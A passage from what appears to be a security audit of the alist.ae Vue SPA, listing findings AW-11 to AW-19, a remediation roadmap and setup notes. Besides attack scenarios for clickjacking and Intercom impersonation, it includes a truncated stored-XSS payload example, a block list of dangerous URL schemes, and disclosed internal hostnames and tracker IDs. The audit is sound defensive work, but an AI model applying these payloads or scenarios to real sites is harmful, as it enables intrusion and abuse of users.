A future maintainer, confused by the duplicate SignUp/SignUpVer2 components, re-points /brand-signups to SignUp.vue; from then on every brand lead is recorded under admin@alist.ae, silently poisoning the CRM and any email-keyed identity logic on the backend.
Impact

No active exploit today since the component is unrouted. If anyone re-points the route or imports the component, every brand signup would be filed under the admin mailbox, corrupting CRM/attribution data and potentially creating account-takeover paths if downstream systems treat email as identity. A latent design/data-integrity landmine in shipped code.

Remediation
Delete src/Pages/SignUp.vue and the legacy creator-form folders it pulls in. If the file must remain, remove the FormData['email'] = 'admin@alist.ae' line. Confirm only SignUpVer2.vue handles /brand-signups.
Verifier note

Confirmed: line 418 override present; router imports SignUpVer2.vue as SignUp and uses it for /brand-signups, so SignUp.vue is dead code. Carried forward from the prior audit (which rated it P1); downgraded to P3 because it is currently unreachable, but flagged as a latent integrity risk. CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

AW-12

Hardcoded dev Strapi hostname bundled via dead ServerCrenditials import (infra disclosure)

P3 A05:2021 Security Misconfiguration CWE-1188 CVSS 3.1 EPSS n/a confirmed
Description

ServerCrenditials.js exports a hardcoded development Strapi origin (https://dev-strapi.alist.ae/). Three creator-form components import it, but the imported data object is never used in any of them — it is a dead import. The actual CMS and asset base URLs throughout the app are env-driven (VUE_APP_STRAPI_URL / VUE_APP_STRAPI_URL_ASSESTS). The only real-world effect is that the dev hostname string is compiled into the bundle (and readable via source maps), disclosing internal/dev infrastructure to any visitor.

Evidence
src/StrapiIntegration/ServerCrenditials.js:1 const data = { baseUrl: "https://dev-strapi.alist.ae/" }; export default data; Imported in src/components/Form/creator/Form1.vue:180, newForm/Form2Ver2.vue:73, newForm/Form3Ver2.vue:56 — but the imported `data` symbol is NEVER referenced in any of those files (grep for bare `data`/`data.baseUrl` returned only the import line; actual requests use axiosAPI with process.env.VUE_APP_API_URL) newForm/Form1Ver2.vue:110 has the import commented out All real CMS/asset access is env-driven: src/store/state.js:2 baseUrl = process.env.VUE_APP_STRAPI_URL_ASSESTS; src/axiosClient.js axiosClient baseURL = process.env.VUE_APP_STRAPI_URL
Attack scenario
An attacker reading the production bundle (or its source maps) discovers the dev-strapi.alist.ae hostname and probes that typically-less-hardened dev environment directly for draft content, verbose errors, or weaker public-role permissions.
Impact

Discloses a non-public dev infrastructure hostname (dev-strapi.alist.ae) to anyone reading the shipped JS, slightly aiding reconnaissance of internal/dev environments. Confidentiality-only and minor. NOTE: this corrects the scanner's higher-rated claim — because the import is dead, production traffic is NOT routed to the dev CMS and there is no integrity impact.

Remediation
Delete src/StrapiIntegration/ServerCrenditials.js and the dead imports of it (Form1.vue:180, Form2Ver2.vue:73, newForm/Form3Ver2.vue:56). Add a build-time grep gate that fails if any hardcoded *.alist.ae host appears in src/. Ensure the dev Strapi host is firewalled/IP-allowlisted so it can never be reached by production users.
Verifier note

DOWNGRADE from the scanners' P1/P2. Verified the imported data is never referenced in any importer (grep showed only the import statements; requests use axiosAPI/env vars). The 'prod traffic directed to dev CMS' impact is FALSE — it is a dead import; residual risk is only the bundled hostname string. Rated P3 info-disclosure. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AW-13

markdown-vue renders CMS markdown with allowDangerousHtml:true and no sanitizer (latent XSS / fragile design)

P3 A03:2021 Injection CWE-79 CVSS 3.1 EPSS n/a confirmed
Description

All Strapi markdown (blog bodies, terms/privacy, team bio, FAQ answers, subscription card text, signup descriptions) renders through markdown-vue with no sanitizer and the library's hardcoded allowDangerousHtml:true. Critically, Vue 3 renders the resulting string VNode children as escaped text rather than live HTML (that would require v-html/innerHTML, which is absent), so an embedded script/onerror from the CMS is inert today. This corrects the audit baseline's reasoning with the actual mechanism: the path is NOT reachable for script execution in this SPA. Residual risk is (1) fragility — any future move to v-html/innerHTML, a custom components/transformLinkUri prop, or a library upgrade re-introduces real stored XSS; and (2) raw HTML in CMS content can render as visible broken markup.

Evidence
markdown-vue@1.0.2 is the renderer for all Strapi markdown; usages pass only :source with no skipHtml/allowedElements/transformLinkUri: src/components/Blog/BlogArticle.vue:63-66, Common/TcPrivacy.vue:19, Pages/Team.vue:29, Faq/BrandFaqMainContent.vue:31, Faq/CreatorFaqMainContent.vue:30, Subscriptions/AddOn/CardDetailsPass.vue:24, Form/CreatorSignupHero.vue:446,584 No sanitizer in the dependency tree (no dompurify / sanitize-html / xss in lockfiles); the library hardcodes allowDangerousHtml:true No v-html / innerHTML anywhere in src (grep confirmed) — Vue 3 renders the library's string VNode children as ESCAPED TEXT, so embedded <script>/<img onerror> from the CMS is displayed inert, not executed
Attack scenario
A future refactor switches a VueMarkdown call to v-html for 'richer' rendering, or adds a custom components prop; from then on a CMS editor embedding <img src=x onerror=...> in a blog body achieves stored XSS in alist.ae with no sanitizer in the stack to stop it.
Impact

No direct script execution today. Latent stored-XSS exposure if the rendering approach changes or a caller later passes transformLinkUri/components props; minor content-spoofing via leaked raw HTML text. Trust boundary is Strapi write access (PR:H).

Remediation
Pass :skipHtml="true" (or an explicit :disallowedElements="['script','iframe','object','embed','style']") to every <VueMarkdown>, and route output through DOMPurify if rich HTML is ever needed. Never add custom transformLinkUri/components without re-validating. Pin and re-test markdown-vue on any upgrade. Treat Strapi markdown fields as untrusted.
Verifier note

Confirmed allowDangerousHtml hardcoded in the library and no sanitizer in lockfiles, AND confirmed no v-html/innerHTML anywhere in src, so not exploitable today. Correctly downgraded to P3 latent/design risk. CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N

AW-14

markdown-vue@1.0.2 pulls full @nuxt/kit framework toolkit into a non-Nuxt SPA on the CMS render path

P3 A06:2021 Vulnerable and Outdated Components CWE-1357 CVSS 3.1 EPSS n/a confirmed
Description

markdown-vue@1.0.2 is a niche, low-adoption renderer that depends on @nuxt/kit (a Nuxt framework toolkit) plus the full remark/rehype/unified stack — disproportionate for a Vue CLI SPA that is explicitly not Nuxt. This drags a large, single-maintainer framework-grade subtree onto the render path for externally-sourced Strapi markdown, enlarging the transitive attack surface and making the package a higher-value supply-chain target (its compromise would execute in the production bundle).

Evidence
package.json:24 "markdown-vue": "^1.0.2" package-lock.json node_modules/@nuxt/kit@3.7.4 present (with nested consola, globby, lru-cache, semver, slash, yallist) — pulled by markdown-vue along with the remark/rehype/unified stack markdown-vue (VueMarkdown) is on the render path for Strapi markdown (Faq/*, Blog/BlogArticle.vue, Form/CreatorSignupHero.vue, etc.)
Attack scenario
The single maintainer of markdown-vue (or of @nuxt/kit's subtree) is compromised and ships a malicious patch version; on the next install the trojaned renderer executes in the production bundle while rendering CMS content.
Impact

Disproportionate transitive dependency footprint for client-side markdown rendering; a small single-maintainer package sits on the render path for untrusted CMS content, so a maintainer compromise would land in shipped production code.

Remediation
Replace markdown-vue with a well-maintained, minimal-footprint renderer (e.g. markdown-it with explicit DOMPurify sanitisation) that does not depend on @nuxt/kit. Ensure Strapi markdown is sanitised. Pin and monitor whatever renderer is chosen via SCA.
Verifier note

Confirmed @nuxt/kit@3.7.4 in the tree pulled by markdown-vue, and confirmed VueMarkdown is actively used on the CMS render path. Supply-chain footprint concern; P3. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

AW-15

Vue 2-only vue-template-compiler@2.7.14 declared as a dependency in a Vue 3 app

P3 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS 2.3 EPSS n/a confirmed
Description

vue-template-compiler is the Vue 2 SFC compiler; Vue 3 uses @vue/compiler-sfc (already pulled by @vue/cli-service). Declaring the Vue 2 compiler in a Vue 3 app is dead/mismatched tooling that bloats the install, confuses SCA/IDE tooling, and signals an uncurated dependency set tracking a stale major line.

Evidence
package.json:36 (dependencies) and package.json:55 (devDependencies): "vue-template-compiler": "^2.7.14" package.json:32 "vue": "^3.2.13" — Vue 3 compiles with @vue/compiler-sfc, not vue-template-compiler package-lock.json node_modules/vue-template-compiler@2.7.14 resolved and pinned
Attack scenario
Hygiene/footprint only — no direct exploit path; contributes to the uncurated dependency set that hides genuine SCA findings.
Impact

Increased dependency footprint and tooling confusion; an unused, never-to-be-patched-for-this-stack package marginally enlarging the supply-chain surface and obscuring real SCA signal.

Remediation
Remove vue-template-compiler from both dependencies and devDependencies; confirm the build still succeeds (Vue 3 uses @vue/compiler-sfc).
Verifier note

Confirmed in package.json (both sections) and lockfile. Dead/mismatched tooling; P3. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:L

AW-16

Abandoned decade-old 'scss'@0.2.4 (ometa-based) declared as a dependency and never used

P3 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS 2.3 EPSS n/a confirmed
Description

package.json depends on a package literally named scss@0.2.4 — an experimental, abandoned SCSS-to-CSS parser built on ometa@0.2.2 (~2013), entirely distinct from the real sass/sass-loader toolchain the project uses. It is unused in source (almost certainly added by confusion with sass/node-sass) yet it and its abandoned ometa dependency install on every build. Obscure unmaintained packages are prime typosquat/maintainer-takeover targets precisely because they are rarely scrutinised.

Evidence
package.json:28 (per scanner; this build shows package.json:28) "scss": "^0.2.4" package-lock.json node_modules/scss@0.2.4 depends on ometa@0.2.2 (node_modules/ometa@0.2.2 present, last published ~2013, unmaintained) The 'scss' package is not imported anywhere in src (the project's actual Sass tooling is sass/sass-loader)
Attack scenario
A maintainer-takeover or typosquat-style publish of a new scss/ometa version inserts malicious install/runtime code that reaches every build environment, undetected because no one uses or watches the package.
Impact

Dead, decade-unmaintained transitive code installed into every developer and build environment for no functional benefit; pure attack-surface and provenance liability with zero upside.

Remediation
Remove the scss dependency from package.json entirely and regenerate the lockfiles; verify the SCSS build (sass/sass-loader) is unaffected.
Verifier note

Confirmed scss@0.2.4 -> ometa@0.2.2 in lockfile and unused in src. P3 hygiene/supply-chain. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

AW-17

Orphan static csrf-token meta leftover and dead markdownRules computed (false-confidence hygiene)

P3 A05:2021 Security Misconfiguration CWE-1188 CVSS 0.0 EPSS n/a confirmed
Description

Two unrelated dead artifacts that both create false confidence: (1) a static 40-char csrf-token meta tag ships on every page but is read by no code in this stateless SPA — a Laravel/Blade-era leftover providing zero CSRF protection; and (2) a markdownRules computed in two components implements a markdown-it link_open renderer rule that markdown-vue (remark/rehype) has no API for and is never bound anyway — dead code implying link sanitisation that does not exist.

Evidence
public/index.html:214-217 <meta name="csrf-token" content="kSBvequmzf1phJU9lAaAP2C1y9qImw6vv6dwOTQ5" /> — a 40-char Laravel-style token No code in src reads csrf-token / csrfToken (grep returned nothing); axiosClient.js sets no Authorization header, no withCredentials, no CSRF header src/components/Form/CreatorSignupHero.vue:661 and CreatorSignupHeroVer3.vue:310 define a markdownRules computed using the markdown-it link_open API, never bound on <VueMarkdown> (which is remark/rehype-based)
Attack scenario
No attack — a reviewer or scanner assumes CSRF protection and link sanitisation exist where they do not, causing the genuine AW-01 XSS to be deprioritised.
Impact

No exploitable impact. Hygiene/false-confidence: the csrf-token implies CSRF protection that does not exist and pollutes secret-scanner baselines (it is a high-entropy string a generic gitleaks rule will flag); the markdownRules masks the real link-handling behaviour and can lead to the AW-01 :href and AW-13 markdown findings being mis-triaged.

Remediation
Remove the csrf-token meta from public/index.html (real CSRF must be handled server-side by the PHP/Strapi APIs). Remove the dead markdownRules computed from both signup-hero components or replace with supported markdown-vue props. Add a gitleaks allowlist entry for the token only after removal.
Verifier note

Confirmed: csrf-token meta present and unread; markdownRules defined but never bound. Three raw findings (two csrf duplicates across dimensions + the dead markdownRules) deduped into this one P3 hygiene entry. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N

AW-18

Missing clickjacking / transport-security headers not enforceable from the SPA (no host config in repo)

P3 A05:2021 Security Misconfiguration CWE-1021 CVSS 4.3 EPSS n/a theoretical
Description

Standard browser hardening response headers — X-Frame-Options / CSP frame-ancestors (clickjacking), Strict-Transport-Security (HSTS), X-Content-Type-Options — cannot be set from this client-side SPA, and no host/proxy config is committed to enforce them. Their presence depends entirely on out-of-repo hosting configuration this assessment cannot confirm.

Evidence
public/index.html: no <meta http-equiv> for frame control; no CSP (grep confirmed only csrf-token meta) No host/proxy config committed (no nginx .conf, _headers, netlify.toml, vercel.json, .htaccess in the repo) src/router/index.js:58 history: createWebHistory() — SPA served as static files; header policy lives entirely at the host
Attack scenario
If headers are absent at the host, an attacker frames www.alist.ae in a transparent iframe overlaid with decoy UI and tricks a victim into clicking through a brand/creator signup or demo-request action (clickjacking).
Impact

If the hosting layer omits these headers, the site can be framed for clickjacking/UI-redress against the signup, Calendly demo-request, and contact flows, and HTTPS-downgrade/cookie-stripping protections (HSTS) are absent. No direct data disclosure; hardening gap.

Remediation
At the web server/CDN set Strict-Transport-Security (max-age>=31536000; includeSubDomains; preload), X-Content-Type-Options: nosniff, and CSP frame-ancestors 'none' (or X-Frame-Options: DENY). Commit the host/proxy header config into the repo (e.g. _headers or an nginx snippet) so the posture is version-controlled and reviewable.
Verifier note

Theoretical — confirmed the headers cannot be set in-repo and no host config is committed; actual presence must be verified against the live web server/CDN. Tracked as P3 hardening. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

AW-19

Third-party trackers fire on load with no consent manager (privacy/compliance gap; Intercom user_hash unconfirmed)

P3 A05:2021 Security Misconfiguration CWE-359 CVSS 0.0 EPSS n/a confirmed
Description

All third-party measurement IDs are hardcoded in index.html and fire unconditionally on page load with no consent management / Google Consent Mode gating — a likely GDPR/UK-PECR and UAE-PDPL compliance gap for a site that may serve EU/regulated traffic. The IDs themselves are publishable, public-by-design identifiers (no rotation needed). Separately, Intercom is initialized with only app_id and no user_hash; if the backend also omits the HMAC user-identity verification, Intercom user impersonation is possible (must be confirmed server-side).

Evidence
public/index.html: GA4 G-2H13HZMS8G; Google Ads AW-16745410453 (loaded twice) + AW-11564075369; GTM GTM-P33GXCBR; Facebook Pixel 1104309957575770; TikTok Pixel CGGR2U3C77UCVI790KBG; Hotjar hjid 5242646; Intercom app_id 'uicijnyh'; google-site-verification 1Qr_jJ0R27APRQwALQ1VlmZKZjyrgnZrsOA9cpdZ9tY All fire unconditionally on load; repo has no cookie-consent/Consent-Mode gating (no consent banner code found) Intercom is initialized client-side with only app_id and no user_hash; server-side HMAC identity verification cannot be confirmed from this repo
Attack scenario
An EU/UK visitor loads the site; pixels set cookies and transmit data to Meta/TikTok/Google before any consent, exposing the operator to GDPR/PECR enforcement. Independently, if the backend omits Intercom user_hash, an attacker submits an arbitrary user identity to Intercom and impersonates another user in support chat.
Impact

No credential compromise (the IDs are public). Compliance/privacy exposure: trackers set cookies and exfiltrate behavioural/PII-adjacent data to Meta/TikTok/Google/Hotjar before any consent; Intercom identity HMAC is not visible here, so if the backend omits user_hash an attacker could spoof Intercom user identity.

Remediation
Add a consent management platform and gate all pixels behind consent / Google Consent Mode v2. Confirm with the backend team that Intercom user_hash (HMAC-SHA256 with the Intercom secret, kept server-side) is set before identifying logged-in users. Deduplicate the doubly-loaded AW-16745410453 tag. Treat the IDs as a tracker inventory for any decommissioning checklist.
Verifier note

Confirmed the IDs and unconditional firing in index.html and the absence of consent code; Intercom user_hash status is genuinely out-of-repo (backend) so flagged as a verification item. Public IDs carry no rotation/credential risk. P3 compliance/hygiene. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N

Remediation roadmap

Immediate
Close the two high-severity issues and stop ongoing source exfiltration.
  • AW-01: Route every CMS-derived URL through a single sanitizing href helper (extend CustomLink.vue) that allow-lists https:/http:/mailto:/tel: + relative and rejects javascript:/data:/vbscript:; replace all raw :href bindings (TsFooter, CreatorsReviews, TsHero, CreatorSignupHero). Lock the Strapi public role to read-only.
  • AW-02: Commit .npmrc (registry=https://registry.npmjs.org/) + yarn npmRegistryServer, regenerate one lockfile so all resolved URLs point to npmjs.org, delete the second lockfile.
  • AW-06: Repoint the CI mirror to an org-owned GitHub repo with branch protection, drop --force, rotate the GITHUB_TOKEN, and decommission parhamramezani/alist.
This week
Fix the auth/logic bug, suppress source maps, and remove the EOL build dependency.
  • AW-03: Make the postMessage origin check fail-closed (if (event.origin !== allowedOrigin) return;), verify event.source and the exact message type, and scope the listener to the active OAuth flow.
  • AW-04: Set productionSourceMap: false in vue.config.js; if maps are needed for monitoring, upload hidden maps privately and never serve *.map.
  • AW-05: Remove node-sass from both dependency sections and rely on the existing Dart sass + sass-loader; re-test the SCSS build.
This month
Stand up a security/quality gate and clear the vulnerable transitives and dead code.
  • AW-09: Add a CI gate running npm ci + npm audit --audit-level=high (or Snyk) + lint + production build, failing on high/critical; enable Dependabot/Renovate.
  • AW-07 / AW-08: Add npm overrides / yarn resolutions forcing nth-check>=2.0.1, postcss>=8.4.31, ip>=2.0.1, braces>=3.0.3; remove vue-svg-loader.
  • AW-10: Deliver a strict CSP (script-src 'self' + enumerated analytics origins; no unsafe-inline) at the host/CDN; add SRI on pinned vendor scripts; consolidate GTM and drop the duplicate Ads tag.
  • AW-11 / AW-12 / AW-17: Delete dead SignUp.vue (admin@alist.ae override), ServerCrenditials.js + its dead imports, the csrf-token meta, and the dead markdownRules computed.
Hardening
Defense-in-depth, dependency hygiene and compliance.
  • AW-13: Pass :skipHtml="true" (or explicit disallowedElements) to every <VueMarkdown> and treat Strapi markdown as untrusted; route through DOMPurify if rich HTML is ever needed.
  • AW-14 / AW-15 / AW-16: Replace markdown-vue with a minimal sanitised renderer (markdown-it + DOMPurify); remove vue-template-compiler and scss@0.2.4; commit a build-time grep gate for hardcoded *.alist.ae hosts.
  • AW-18: Commit host/proxy header config (HSTS, X-Content-Type-Options, frame-ancestors 'none') so the posture is version-controlled.
  • AW-19: Add a consent management platform / Google Consent Mode v2 gating all pixels; confirm Intercom user_hash is set server-side before identifying users.

Code quality

Run / deploy

Local setup

# node 18+ recommended; node-sass may fail on node 22 / Apple Silicon
yarn install            # or npm install — both lockfiles are present (yarn.lock first)
cp .env.example .env    # FILE DOES NOT EXIST — create manually, see Environment below
npm run serve           # dev server on http://localhost:8080
npm run build           # generate-sitemap then prod webpack build to /dist
npm run lint            # vue-cli-service lint (no autofix flag set)

Environment

Deployment hints

CI is bitbucket-pipelines.yml, which only mirrors master to github.com/parhamramezani/alist via a personal access token ($GITHUB_TOKEN). The actual production deploy is not in this repo — confirm with the platform team (Cloudflare Pages / S3 / Vercel are likely candidates given the SPA-only build output). DNS points to alist.ae; OG/canonical tags use https://www.alist.ae/. The Strapi CMS lives at strapi.alist.ae in prod and dev-strapi.alist.ae in dev — both must be CORS-permissive for the SPA origins.

What to know before editing